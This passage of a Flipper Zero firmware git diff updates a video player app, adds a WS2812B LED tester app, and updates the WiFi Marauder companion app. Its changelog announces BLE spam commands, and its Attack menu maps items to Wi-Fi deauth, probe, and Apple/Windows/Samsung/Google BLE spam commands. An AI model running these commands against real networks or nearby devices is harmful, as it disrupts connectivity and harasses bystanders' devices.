furi_message_queue_put(player->event_queue, &event, 0); + } + + if(event.input.key == InputKeyRight) { + player->seeking = true; + int32_t seek = CLAMP( + (int32_t)stream_tell(player->stream) + + player->frames_per_turn * player->frame_size, + (int32_t)player->num_frames * player->frame_size + player->header_size, + player->header_size); + stream_seek(player->stream, seek, StreamOffsetFromStart); + + player->progress = (uint8_t)((int64_t)stream_tell(player->stream) * (int64_t)126 / ((int64_t)player->num_frames * (int64_t)player->frame_size + (int64_t)player->header_size)); + + if(event.input.type == InputTypeRelease) { + player->seeking = false; + } + + static VideoPlayerEvent event = {.type = EventTypeJustRedraw}; + furi_message_queue_put(player->event_queue, &event, 0); + } + + if(player->playing) { + player_start(); + } + + else { + player_stop(); + } } - if(event.input.key == InputKeyOk) { - player->playing = !player->playing; - } + if(event.type == EventType1stHalf) { + uint8_t* audio_buffer = player->audio_buffer; - if(player->playing) { - player_start(); - } + stream_read(player->stream, player->image_buffer, player->image_buffer_length); - else { - player_stop(); - } - } + if(player->silent) { + stream_read( + player->stream, player->fake_audio_buffer, player->audio_chunk_size); + } - if(event.type == EventType1stHalf) { - //reading image+sound data in one pass since in this case image buffer and first part of audio buffer are continuous chunk of memory; should probably improve FPS - stream_read( - player->stream, - player->image_buffer, - player->image_buffer_length + player->audio_chunk_size); + else { + stream_read(player->stream, audio_buffer, player->audio_chunk_size); + } - player->frames_played++; + player->frames_played++; - canvas_reset(player->canvas); + draw_all(player); + } - canvas_draw_xbm( - player->canvas, 0, 0, player->width, player->height, player->image_buffer); + if(event.type == EventType2ndHalf) { + uint8_t* audio_buffer = &player->audio_buffer[player->audio_chunk_size]; - canvas_commit(player->canvas); - } + stream_read(player->stream, player->image_buffer, player->image_buffer_length); - if(event.type == EventType2ndHalf) { - uint8_t* audio_buffer = &player->audio_buffer[player->audio_chunk_size]; + if(player->silent) { + stream_read( + player->stream, player->fake_audio_buffer, player->audio_chunk_size); + } - stream_read(player->stream, player->image_buffer, player->image_buffer_length); - stream_read(player->stream, audio_buffer, player->audio_chunk_size); + else { + stream_read(player->stream, audio_buffer, player->audio_chunk_size); + } - player->frames_played++; + player->frames_played++; - canvas_reset(player->canvas); + draw_all(player); + } - canvas_draw_xbm( - player->canvas, 0, 0, player->width, player->height, player->image_buffer); + if(event.type == EventTypeJustRedraw) { + draw_all(player); + } - canvas_commit(player->canvas); - } + if(player->frames_played == player->num_frames) { + player->quit = true; + } - if(player->frames_played == player->num_frames) { - player->quit = true; + furi_thread_yield(); } - - furi_thread_yield(); } + deinit_player(player); + player_deinit_hardware(); } - deinit_player(player); - player_deinit_hardware(); - return 0; } diff --git a/applications/external/video_player/video_player.h b/applications/external/video_player/video_player.h index 2bda84e9da8..736091016ef 100644 --- a/applications/external/video_player/video_player.h +++ b/applications/external/video_player/video_player.h @@ -21,6 +21,7 @@ typedef enum { EventTypeInput, EventType1stHalf, EventType2ndHalf, + EventTypeJustRedraw, } EventType; typedef struct { @@ -55,6 +56,8 @@ typedef struct { uint8_t* audio_buffer; uint8_t* image_buffer; + uint8_t* fake_audio_buffer; //actually not connected to any sound routine + uint8_t* buffer; uint32_t num_frames; @@ -69,9 +72,19 @@ typedef struct { uint32_t frames_played; + int32_t frame_size; + int32_t header_size; //for seeking + int32_t frames_per_turn; //frames / 126, how many frames to wind forwards/backwards when seeking + + uint8_t progress; + bool playing; bool quit; + + bool seeking; //to display progress bar + + bool silent; } VideoPlayerApp; typedef struct { diff --git a/applications/external/wifi_marauder_companion/application.fam b/applications/external/wifi_marauder_companion/application.fam index 1bc5e843fa4..b1871ce6bad 100644 --- a/applications/external/wifi_marauder_companion/application.fam +++ b/applications/external/wifi_marauder_companion/application.fam @@ -10,6 +10,6 @@ App( fap_icon_assets_symbol="esp32_wifi_marauder", fap_author="0xchocolate & tcpassos", fap_weburl="https://github.com/0xchocolate/flipperzero-wifi-marauder", - fap_version=(6, 5), + fap_version=(6, 6), fap_description="WiFi Marauder companion app for Flipper Zero. Requires a connected dev board running Marauder FW.", ) diff --git a/applications/external/wifi_marauder_companion/docs/changelog.md b/applications/external/wifi_marauder_companion/docs/changelog.md index 3eab8619fcc..9971873fc32 100644 --- a/applications/external/wifi_marauder_companion/docs/changelog.md +++ b/applications/external/wifi_marauder_companion/docs/changelog.md @@ -1,10 +1,29 @@ -## v0.6.3 +## v0.6.6 -BT wardriving and Sour Apple! Requires a board with BT support. Thanks to @justcallmekoko for adding the new commands! +Bug fixes and new BLE spam commands! Thanks to @justcallmekoko for adding the new commands! I also fixed the script user input bug where it would hang after selecting "save". + +The BLE spam command format has changed and requires at least **FW v0.13.6**. Make sure you flash the latest release of Marauder FW to your wifi board: https://github.com/justcallmekoko/ESP32Marauder/releases/latest + +Note: if you're flashing directly from your flipper using the [ESP Flasher app](https://github.com/0xchocolate/flipperzero-esp-flasher), grab the bin that corresponds to your hardware and only reflash the Firmware partition. (If you have dual boot set up, then choose the slot where you want to install it. Otherwise, reflash FirmwareA only.) + +By the way, want to support app development by buying me a coffee? You finally have that option! https://ko-fi.com/cococode + +<3 @0xchocolate (cococode) + + +## v0.6.5 + +New option to load Evil Portal HTML files from the flipper sd card! -Make sure you flash the latest release of Marauder FW to your wifi board: https://github.com/justcallmekoko/ESP32Marauder/releases/tag/v0.13.0 -Note: if you're flashing directly from your flipper using the ESP Flasher app, grab the bin that corresponds to your hardware and only reflash the Firmware partition. (If you have dual boot set up, then choose the slot where you want to install it. Otherwise, reflash FirmwareA only.) +## v0.6.4 + +swiftpair spam and ESP32 sd card commands: sethtml, ls. Requires a board with BT and sd card support. Thanks to @justcallmekoko for adding the new commands! + + +## v0.6.3 + +BT wardriving and Sour Apple! Requires a board with BT support. Thanks to @justcallmekoko for adding the new commands! ## v0.6.2 @@ -13,10 +32,6 @@ Happy wardriving! Thanks to @justcallmekoko for adding the gps and wardrive comm Instructions to install a GPS module: https://github.com/justcallmekoko/ESP32Marauder/wiki/gps-modification -Make sure you flash the latest release of Marauder FW to your wifi board: https://github.com/justcallmekoko/ESP32Marauder/releases/tag/v0.11.1 - -Note: if you're flashing directly from your flipper using the ESP Flasher app, grab the bin that corresponds to your hardware and only reflash the Firmware partition. (If you have dual boot set up, then choose the slot where you want to install it. Otherwise, reflash FirmwareA only.) - ## v0.6.1 diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c index dfc2074d744..d67c6815d09 100644 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c @@ -104,11 +104,9 @@ void wifi_marauder_scene_console_output_on_enter(void* context) { wifi_marauder_uart_set_handle_rx_data_cb( app->uart, wifi_marauder_console_output_handle_rx_data_cb); // setup callback for general log rx thread - if(app->ok_to_save_pcaps) { - wifi_marauder_uart_set_handle_rx_data_cb( - app->lp_uart, - wifi_marauder_console_output_handle_rx_packets_cb); // setup callback for packets rx thread - } + wifi_marauder_uart_set_handle_rx_data_cb( + app->lp_uart, + wifi_marauder_console_output_handle_rx_packets_cb); // setup callback for packets rx thread // Get ready to send command if((app->is_command && app->selected_tx_string) || app->script) { @@ -203,9 +201,7 @@ void wifi_marauder_scene_console_output_on_exit(void* context) { // Unregister rx callback wifi_marauder_uart_set_handle_rx_data_cb(app->uart, NULL); - if(app->ok_to_save_pcaps) { - wifi_marauder_uart_set_handle_rx_data_cb(app->lp_uart, NULL); - } + wifi_marauder_uart_set_handle_rx_data_cb(app->lp_uart, NULL); wifi_marauder_script_worker_free(app->script_worker); app->script_worker = NULL; diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_settings_init.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_settings_init.c index 29fedd5b966..04d099d1221 100644 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_settings_init.c +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_settings_init.c @@ -63,13 +63,6 @@ bool wifi_marauder_scene_settings_init_on_event(void* context, SceneManagerEvent bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - if(app->which_prompt == PROMPT_PCAPS) { - wifi_marauder_uart_free(app->uart); - if(app->ok_to_save_pcaps) { - wifi_marauder_uart_free(app->lp_uart); - } - } - // get which button press: "Yes" or "No" if(event.event == GuiButtonTypeRight) { // Yes @@ -89,13 +82,6 @@ bool wifi_marauder_scene_settings_init_on_event(void* context, SceneManagerEvent // save setting to file, load next widget or scene if(app->which_prompt == PROMPT_PCAPS) { - if(app->ok_to_save_pcaps) { - app->uart = wifi_marauder_usart_init(app); - app->lp_uart = wifi_marauder_lp_uart_init(app); - } else { - app->uart = wifi_marauder_cfw_uart_init(app); - } - if(storage_file_open( app->save_pcap_setting_file, SAVE_PCAP_SETTING_FILEPATH, diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c index 5403120ff48..5051a362820 100644 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c @@ -62,15 +62,23 @@ const WifiMarauderItem items[NUM_MENU_ITEMS] = { FOCUS_CONSOLE_END, NO_TIP}, {"Attack", - {"deauth", "probe", "rickroll", "sour apple", "swiftpair spam", "samsung spam", "bt spam all"}, - 7, + {"deauth", + "probe", + "rickroll", + "sour apple", + "swiftpair spam", + "samsung spam", + "google spam", + "bt spam all"}, + 8, {"attack -t deauth", "attack -t probe", "attack -t rickroll", - "sourapple", - "swiftpair", - "samsungblespam", - "btspamall"}, + "blespam -t apple", + "blespam -t windows", + "blespam -t samsung", + "blespam -t google", + "blespam -t all"}, NO_ARGS, FOCUS_CONSOLE_END, SHOW_STOPSCAN_TIP}, diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_user_input.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_user_input.c index 3d5697caf5f..754d7400727 100644 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_user_input.c +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_user_input.c @@ -91,7 +91,7 @@ void wifi_marauder_scene_user_input_ok_callback(void* context) { break; } - scene_manager_previous_scene(app->scene_manager); + view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventPrevScene); } void wifi_marauder_scene_user_input_on_enter(void* context) { @@ -143,9 +143,18 @@ void wifi_marauder_scene_user_input_on_enter(void* context) { } bool wifi_marauder_scene_user_input_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; + WifiMarauderApp* app = context; + + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == WifiMarauderEventPrevScene) { + scene_manager_previous_scene(app->scene_manager); + consumed = true; + } + } + + return consumed; } void wifi_marauder_scene_user_input_on_exit(void* context) { diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app.c b/applications/external/wifi_marauder_companion/wifi_marauder_app.c index cf8b8dd3740..333463394cf 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app.c +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app.c @@ -161,9 +161,7 @@ void wifi_marauder_app_free(WifiMarauderApp* app) { scene_manager_free(app->scene_manager); wifi_marauder_uart_free(app->uart); - if(app->ok_to_save_pcaps) { - wifi_marauder_uart_free(app->lp_uart); - } + wifi_marauder_uart_free(app->lp_uart); // Close records furi_record_close(RECORD_GUI); @@ -189,12 +187,8 @@ int32_t wifi_marauder_app(void* p) { wifi_marauder_make_app_folder(wifi_marauder_app); wifi_marauder_load_settings(wifi_marauder_app); - if(wifi_marauder_app->ok_to_save_pcaps) { - wifi_marauder_app->uart = wifi_marauder_usart_init(wifi_marauder_app); - wifi_marauder_app->lp_uart = wifi_marauder_lp_uart_init(wifi_marauder_app); - } else { - wifi_marauder_app->uart = wifi_marauder_cfw_uart_init(wifi_marauder_app); - } + wifi_marauder_app->uart = wifi_marauder_usart_init(wifi_marauder_app); + wifi_marauder_app->lp_uart = wifi_marauder_lp_uart_init(wifi_marauder_app); view_dispatcher_run(wifi_marauder_app->view_dispatcher); diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app.h b/applications/external/wifi_marauder_companion/wifi_marauder_app.h index 43eb7f15b3f..86ee3ef0cc9 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app.h @@ -4,7 +4,7 @@ extern "C" { #endif -#define WIFI_MARAUDER_APP_VERSION "v0.6.5" +#define WIFI_MARAUDER_APP_VERSION "v0.6.6" typedef struct WifiMarauderApp WifiMarauderApp; diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h b/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h index b6d9f8274ef..9d2a89c6fae 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h @@ -9,5 +9,6 @@ typedef enum { WifiMarauderEventStartSettingsInit, WifiMarauderEventStartLogViewer, WifiMarauderEventStartScriptSelect, - WifiMarauderEventStartSniffPmkidOptions + WifiMarauderEventStartSniffPmkidOptions, + WifiMarauderEventPrevScene } WifiMarauderCustomEvent; diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_uart.c b/applications/external/wifi_marauder_companion/wifi_marauder_uart.c index 756292eb26f..0c914775272 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_uart.c +++ b/applications/external/wifi_marauder_companion/wifi_marauder_uart.c @@ -1,11 +1,6 @@ #include "wifi_marauder_app_i.h" #include "wifi_marauder_uart.h" -#include -#define CFW_UART_CH \ - (CFW_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) -bool cfw_uart = false; - #define UART_CH (FuriHalUartIdUSART1) #define LP_UART_CH (FuriHalUartIdLPUART1) #define BAUDRATE (115200) @@ -63,13 +58,8 @@ static int32_t uart_worker(void* context) { return 0; } -// Will switch appropriately based on whether usart_init or cfw_uart_init was called void wifi_marauder_uart_tx(uint8_t* data, size_t len) { - if(cfw_uart) { - furi_hal_uart_tx(CFW_UART_CH, data, len); - } else { - furi_hal_uart_tx(UART_CH, data, len); - } + furi_hal_uart_tx(UART_CH, data, len); } void wifi_marauder_lp_uart_tx(uint8_t* data, size_t len) { @@ -100,13 +90,7 @@ WifiMarauderUart* return uart; } -WifiMarauderUart* wifi_marauder_cfw_uart_init(WifiMarauderApp* app) { - cfw_uart = true; - return wifi_marauder_uart_init(app, CFW_UART_CH, "WifiMarauderUartRxThread"); -} - WifiMarauderUart* wifi_marauder_usart_init(WifiMarauderApp* app) { - cfw_uart = false; return wifi_marauder_uart_init(app, UART_CH, "WifiMarauderUartRxThread"); } @@ -124,9 +108,8 @@ void wifi_marauder_uart_free(WifiMarauderUart* uart) { furi_hal_uart_set_irq_cb(uart->channel, NULL, NULL); if(uart->channel == FuriHalUartIdLPUART1) { furi_hal_uart_deinit(uart->channel); - } else { - furi_hal_console_enable(); } + furi_hal_console_enable(); free(uart); } diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_uart.h b/applications/external/wifi_marauder_companion/wifi_marauder_uart.h index 037bceb42b6..e352cfec555 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_uart.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_uart.h @@ -11,7 +11,6 @@ void wifi_marauder_uart_set_handle_rx_data_cb( void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)); void wifi_marauder_uart_tx(uint8_t* data, size_t len); void wifi_marauder_lp_uart_tx(uint8_t* data, size_t len); -WifiMarauderUart* wifi_marauder_cfw_uart_init(WifiMarauderApp* app); WifiMarauderUart* wifi_marauder_usart_init(WifiMarauderApp* app); WifiMarauderUart* wifi_marauder_lp_uart_init(WifiMarauderApp* app); void wifi_marauder_uart_free(WifiMarauderUart* uart); diff --git a/applications/external/ws2812b_tester/.flipcorg/README.md b/applications/external/ws2812b_tester/.flipcorg/README.md new file mode 100644 index 00000000000..845888b3f6c --- /dev/null +++ b/applications/external/ws2812b_tester/.flipcorg/README.md @@ -0,0 +1,23 @@ +# WS2812B LED Tester +This application is used to test WS2812B LEDs. You can connect the WS2812B LEDs to any available GPIO pin. If you are powering the LEDs using the Flipper Zero, be sure to consider the power requirements of the LEDs. The 3V3 pin has a 1200mA max current (~4 watts). 5V pin has a 1000mA max current (5 watts). + +Please let me know any feedback! +- Discord - https://discord.com/invite/NsjCvqwPAd (@CodeAllNight) +- YouTube - https://youtube.com/@MrDerekJamison/playlists +- GitHub - https://github.com/jamisonderek/flipper-zero-tutorials +- Wiki - https://github.com/jamisonderek/flipper-zero-tutorials/wiki + +# Overview +This application has three submenu items: +* Test WS2812B +* About + +# Test WS2812B +- LED Pin : Select the GPIO pin that the WS2812B LED data wire is connected to. +- LED Count : select the total number of LEDs in the chain. +- LED Pattern : select the pattern to display on the LEDs. +- LED Brightness : Select the brightness of the LEDs. The brighter the LEDs, the more power they will consume. +- Enable +5V pin : Select "Yes" if you are using pin 1 to power the LEDs (note, there is a 1000mA max current on this pin). + +# About +The "About" menu item contains information about the application. diff --git a/applications/external/ws2812b_tester/.flipcorg/banner.png b/applications/external/ws2812b_tester/.flipcorg/banner.png new file mode 100644 index 00000000000..eab8a02c288 Binary files /dev/null and b/applications/external/ws2812b_tester/.flipcorg/banner.png differ diff --git a/applications/external/ws2812b_tester/.flipcorg/gallery/01-main-menu.png b/applications/external/ws2812b_tester/.flipcorg/gallery/01-main-menu.png new file mode 100644 index 00000000000..7c118d0d465 Binary files /dev/null and b/applications/external/ws2812b_tester/.flipcorg/gallery/01-main-menu.png differ diff --git a/applications/external/ws2812b_tester/.flipcorg/gallery/02-led-pattern.png b/applications/external/ws2812b_tester/.flipcorg/gallery/02-led-pattern.png new file mode 100644 index 00000000000..320b1c1d247 Binary files /dev/null and b/applications/external/ws2812b_tester/.flipcorg/gallery/02-led-pattern.png differ diff --git a/applications/external/ws2812b_tester/.flipcorg/gallery/03-5v-pin.png b/applications/external/ws2812b_tester/.flipcorg/gallery/03-5v-pin.png new file mode 100644 index 00000000000..60e9f8bbc82 Binary files /dev/null and b/applications/external/ws2812b_tester/.flipcorg/gallery/03-5v-pin.png differ diff --git a/applications/external/ws2812b_tester/.flipcorg/gallery/04-about-1.png b/applications/external/ws2812b_tester/.flipcorg/gallery/04-about-1.png new file mode 100644 index 00000000000..eba97e439e8 Binary files /dev/null and b/applications/external/ws2812b_tester/.flipcorg/gallery/04-about-1.png differ diff --git a/applications/external/ws2812b_tester/.flipcorg/gallery/05-about-2.png b/applications/external/ws2812b_tester/.flipcorg/gallery/05-about-2.png new file mode 100644 index 00000000000..a5ce28bcb2a Binary files /dev/null and b/applications/external/ws2812b_tester/.flipcorg/gallery/05-about-2.png differ diff --git a/applications/external/ws2812b_tester/.flipcorg/gallery/06-about-3.png b/applications/external/ws2812b_tester/.flipcorg/gallery/06-about-3.png new file mode 100644 index 00000000000..c450165aed6 Binary files /dev/null and b/applications/external/ws2812b_tester/.flipcorg/gallery/06-about-3.png differ diff --git a/applications/external/ws2812b_tester/README.md b/applications/external/ws2812b_tester/README.md new file mode 100644 index 00000000000..128c3cbf045 --- /dev/null +++ b/applications/external/ws2812b_tester/README.md @@ -0,0 +1,35 @@ +# WS2812B LED Tester +This application is used to test WS2812B LEDs. You can connect the WS2812B LEDs to any available GPIO pin. If you are powering the LEDs using the Flipper Zero, be sure to consider the power requirements of the LEDs. The 3V3 pin has a 1200mA max current (~4 watts). 5V pin has a 1000mA max current (5 watts). + +Please let me know any feedback! +- Discord - https://discord.com/invite/NsjCvqwPAd (@CodeAllNight) +- YouTube - https://youtube.com/@MrDerekJamison/playlists +- GitHub - https://github.com/jamisonderek/flipper-zero-tutorials +- Wiki - https://github.com/jamisonderek/flipper-zero-tutorials/wiki + +# Overview +This application has three submenu items: +* Test WS2812B +* About + +# Test WS2812B +- LED Pin : Select the GPIO pin that the WS2812B LED data wire is connected to. +- LED Count : select the total number of LEDs in the chain. +- LED Pattern : select the pattern to display on the LEDs. +- LED Brightness : Select the brightness of the LEDs. The brighter the LEDs, the more power they will consume. +- Enable +5V pin : Select "Yes" if you are using pin 1 to power the LEDs (note, there is a 1000mA max current on this pin). + +# About +The "About" menu item contains information about the application. + +# Updates +- Version 1.8 + - Renamed app to fit on Flipper Zero main menu screen + - Improved initialization to only happen when configuring the LEDs +- Version 1.7 + - Added blanking TRESET (LOW) signal before sending data to LEDs. + - Increased timer_buffer to uint16 to support blanking signal duration. Maybe there is a better way to do the initial low & save memory? + - Bug fix: Turn off remaining LEDs when reducing the number of LEDs. +- Version 1.6 + - Added support for up to 1000 LEDs (max set in led_driver.h) + - Added "dirty flag" to get rid of flicker when not updating the LEDs diff --git a/applications/external/ws2812b_tester/app.c b/applications/external/ws2812b_tester/app.c new file mode 100644 index 00000000000..53f5fda354a --- /dev/null +++ b/applications/external/ws2812b_tester/app.c @@ -0,0 +1,566 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "led_driver.h" + +#define TAG "WS2812B-Tester" + +// Our application menu has 2 items. +typedef enum { + LedTesterSubmenuIndexLeds, + LedTesterSubmenuIndexAbout, +} LedTesterSubmenuIndex; + +// Custom events that describe why the view dispatcher is calling our custom event callback. +typedef enum { + LedTesterEventInitialized, + LedTesterEventDeinit, + LedTesterEventTimer, + LedTesterEventConfigChange, + LedTesterEventClicked, +} LedTesterEventId; + +// Each view is a screen we show the user. +typedef enum { + LedTesterViewSubmenu, // The menu when the app starts + LedTesterViewLeds, // The LED screen + LedTesterViewAbout, // The about screen with directions, link to social channel, etc. +} LedTesterView; + +// Our model is the data we use to control the LEDs. +typedef struct { + uint8_t led_pin_index; // The index of the pin we are using to control the LEDs + uint32_t led_count; // The number of LEDs + uint8_t led_pattern_index; // The pattern index + int8_t led_divisor; // The speed divisor (1-4, -1 = stopped) + uint8_t led_max_brightness; // The maximum brightness (0-100) + uint8_t timer_counter; // The current timer counter (used for auto-scrolling) + bool enable_5v; // Enable 5V output +} LedTesterModel; + +// The application object. +typedef struct { + ViewDispatcher* view_dispatcher; // Switches between our views + Submenu* submenu; // The application menu + VariableItemList* variable_item_list; // The WS2812B settings + Widget* widget_about; // The about screen + FuriTimer* timer; // Timer for automatic updating the LEDs + LedTesterModel* model; // The model + LedDriver* led_driver; // The LED driver +} LedTesterApp; + +// Hack so that we can access the application object from a variable_item_list on_enter/exit callback. +static LedTesterApp* global_app = NULL; + +/** + * @brief Callback for exiting the application. + * @details This function is called when user press back button. We return VIEW_NONE to + * indicate that we want to exit the application. + * @param _context The context - unused + * @return next view id +*/ +static uint32_t led_tester_navigation_exit_callback(void* _context) { + UNUSED(_context); + return VIEW_NONE; +} + +/** + * @brief Callback for the application's menu. + * @details This function is called when user press back button. We return LedTesterViewSubmenu to + * indicate that we want to return to the application menu. + * @param _context The context - unused + * @return next view id +*/ +static uint32_t led_tester_navigation_submenu_callback(void* _context) { + UNUSED(_context); + return LedTesterViewSubmenu; +} + +/** + * @brief Handle submenu item selection. + * @details This function is called when user selects an item from the submenu. + * @param context The context - LedTesterApp object. + * @param index The LedTesterSubmenuIndex item that was clicked. +*/ +static void led_tester_submenu_callback(void* context, uint32_t index) { + LedTesterApp* app = (LedTesterApp*)context; + switch(index) { + case LedTesterSubmenuIndexLeds: + view_dispatcher_switch_to_view(app->view_dispatcher, LedTesterViewLeds); + break; + case LedTesterSubmenuIndexAbout: + view_dispatcher_switch_to_view(app->view_dispatcher, LedTesterViewAbout); + break; + default: + break; + } +} + +/** + * @brief Callback for timer elapsed. + * @details This function is called when the timer is elapsed. + * @param context The context - LedTesterApp object. +*/ +static void led_tester_timer_callback(void* context) { + LedTesterApp* app = (LedTesterApp*)context; + view_dispatcher_send_custom_event(app->view_dispatcher, LedTesterEventTimer); +} + +/** + * @brief Callback for when the LED configuration settings are updated. + * @details This function is called when the LED configuration settings are changed by the user. + * @param context The context - LedTesterApp object. +*/ +static void led_tester_settings_updated(LedTesterApp* app) { + view_dispatcher_send_custom_event(app->view_dispatcher, LedTesterEventConfigChange); +} + +/** + * @brief Callback for when the LED configuration settings are clicked. + * @details This function is called when the user presses OK button while in the LED configuration settings. + * @param context The context - LedTesterApp object. +*/ +static void led_tester_item_clicked(void* context, uint32_t index) { + UNUSED(index); + LedTesterApp* app = (LedTesterApp*)context; + view_dispatcher_send_custom_event(app->view_dispatcher, LedTesterEventClicked); +} + +/** + * @brief Enable 5V power. + * @details This function enables the 5V power output on pin 1. +*/ +static void led_tester_5v_power_on() { + uint8_t attempts = 5; + while(--attempts > 0) { + if(furi_hal_power_enable_otg()) break; + } +} + +/** + * @brief Disable 5V power. + * @details This function disables the 5V power output on pin 1. +*/ +static void led_tester_5v_power_off() { + if(furi_hal_power_is_otg_enabled()) { + furi_hal_power_disable_otg(); + } +} + +// Settings for configuring which GPIO pin to use for controlling the WS2812B LEDs. +static const char* setting_led_pin_config_label = "LED Pin"; +static const GpioPin* setting_led_pin_values[] = + {&gpio_ext_pa7, &gpio_ext_pa6, &gpio_ext_pa4, &gpio_ext_pb3, &gpio_ext_pb2, &gpio_ext_pc3}; +static char* setting_led_pin_names[] = {"A7", "A6", "A4", "B3", "B2", "C3"}; +static void led_tester_setting_led_pin_change(VariableItem* item) { + LedTesterApp* app = variable_item_get_context(item); + LedTesterModel* model = app->model; + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, setting_led_pin_names[index]); + model->led_pin_index = index; +} + +// Settings for configuring how many LEDs to enable. +static const char* setting_led_count_config_label = "LED Count"; +static uint16_t setting_led_count_values[] = {1, 2, 3, 4, 5, 6, 7, 8, 16, 32, 64, 128, 256, 512}; +static char* setting_led_count_names[] = + {"1", "2", "3", "4", "5", "6", "7", "8", "16", "32", "64", "128", "256", "512"}; +static uint8_t setting_led_count_default_index = 3; // 4 LEDs +static void led_tester_setting_led_count_change(VariableItem* item) { + LedTesterApp* app = variable_item_get_context(item); + LedTesterModel* model = app->model; + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, setting_led_count_names[index]); + model->led_count = setting_led_count_values[index]; + led_tester_settings_updated(app); +} + +// Settings for configuring which LED pattern to use. +static const char* setting_led_pattern_config_label = "LED Pattern"; +static char* setting_led_pattern_names[] = + {"Red", "Green", "Blue", "White", "RGBW", "GBWR", "BWRG", "WRGB"}; +static void led_tester_setting_led_pattern_change(VariableItem* item) { + LedTesterApp* app = variable_item_get_context(item); + LedTesterModel* model = app->model; + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, setting_led_pattern_names[index]); + model->led_pattern_index = index; + led_tester_settings_updated(app); +} + +// Settings for configuring which LED speed to use. +static const char* setting_led_speed_config_label = "LED Speed"; +static int16_t setting_led_speed_values[] = {-1, 3, 2, 1}; +static char* setting_led_speed_names[] = {"Stopped", "Slow", "Medium", "Fast"}; +static void led_tester_setting_led_speed_change(VariableItem* item) { + LedTesterApp* app = variable_item_get_context(item); + LedTesterModel* model = app->model; + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, setting_led_speed_names[index]); + model->led_divisor = setting_led_speed_values[index]; + led_tester_settings_updated(app); +} + +// Settings for configuring the LED brightness. +static const char* setting_led_brightness_config_label = "LED Brightness"; +static uint16_t setting_led_brightness_values[] = {1, 2, 3, 5, 10, 20, 25, 50, 75, 100}; +static char* setting_led_brightness_names[] = + {"1%", "2%", "3%", "5%", "10%", "20%", "25%", "50%", "75%", "100%"}; +static void led_tester_setting_led_brightness_change(VariableItem* item) { + LedTesterApp* app = variable_item_get_context(item); + LedTesterModel* model = app->model; + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, setting_led_brightness_names[index]); + model->led_max_brightness = setting_led_brightness_values[index]; + led_tester_settings_updated(app); +} + +// Settings for configuring the 5V output. +static const char* setting_5v_config_label = "Enable +5V pin"; +static bool setting_5v_values[] = {true, false}; +static char* setting_5v_names[] = {"Yes", "No"}; +static void led_tester_setting_5v_change(VariableItem* item) { + LedTesterApp* app = variable_item_get_context(item); + LedTesterModel* model = app->model; + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, setting_5v_names[index]); + model->enable_5v = setting_5v_values[index]; + if(app->model->enable_5v) { + led_tester_5v_power_on(); + } else { + led_tester_5v_power_off(); + } +} + +/** + * @brief Callback for custom events. + * @details This function is called when a custom event is sent to the view dispatcher. + * @param context The context - LedTesterApp object. + * @param event The event id - LedTesterEventId value. +*/ +static bool led_tester_custom_event_callback(void* context, uint32_t event) { + LedTesterApp* app = (LedTesterApp*)context; + const GpioPin* pin = setting_led_pin_values[app->model->led_pin_index]; + + if(!app->led_driver) { + FURI_LOG_E(TAG, "led_driver is NULL. Custom event %lu ignored.", event); + return false; + } + + if(event == LedTesterEventTimer) { + app->model->timer_counter++; + } + + uint8_t offset = (app->model->led_divisor == -1) ? + 0 : + (app->model->timer_counter / app->model->led_divisor) & 0x3; + + uint32_t rgb[4] = {0}; + switch(app->model->led_pattern_index) { + case 0: // RED + for(size_t i = 0; i < COUNT_OF(rgb); i++) { + rgb[i] = 0xFF0000; + } + break; + case 1: // GREEN + for(size_t i = 0; i < COUNT_OF(rgb); i++) { + rgb[i] = 0x00FF00; + } + break; + case 2: // BLUE + for(size_t i = 0; i < COUNT_OF(rgb); i++) { + rgb[i] = 0x0000FF; + } + break; + case 3: // WHITE + for(size_t i = 0; i < COUNT_OF(rgb); 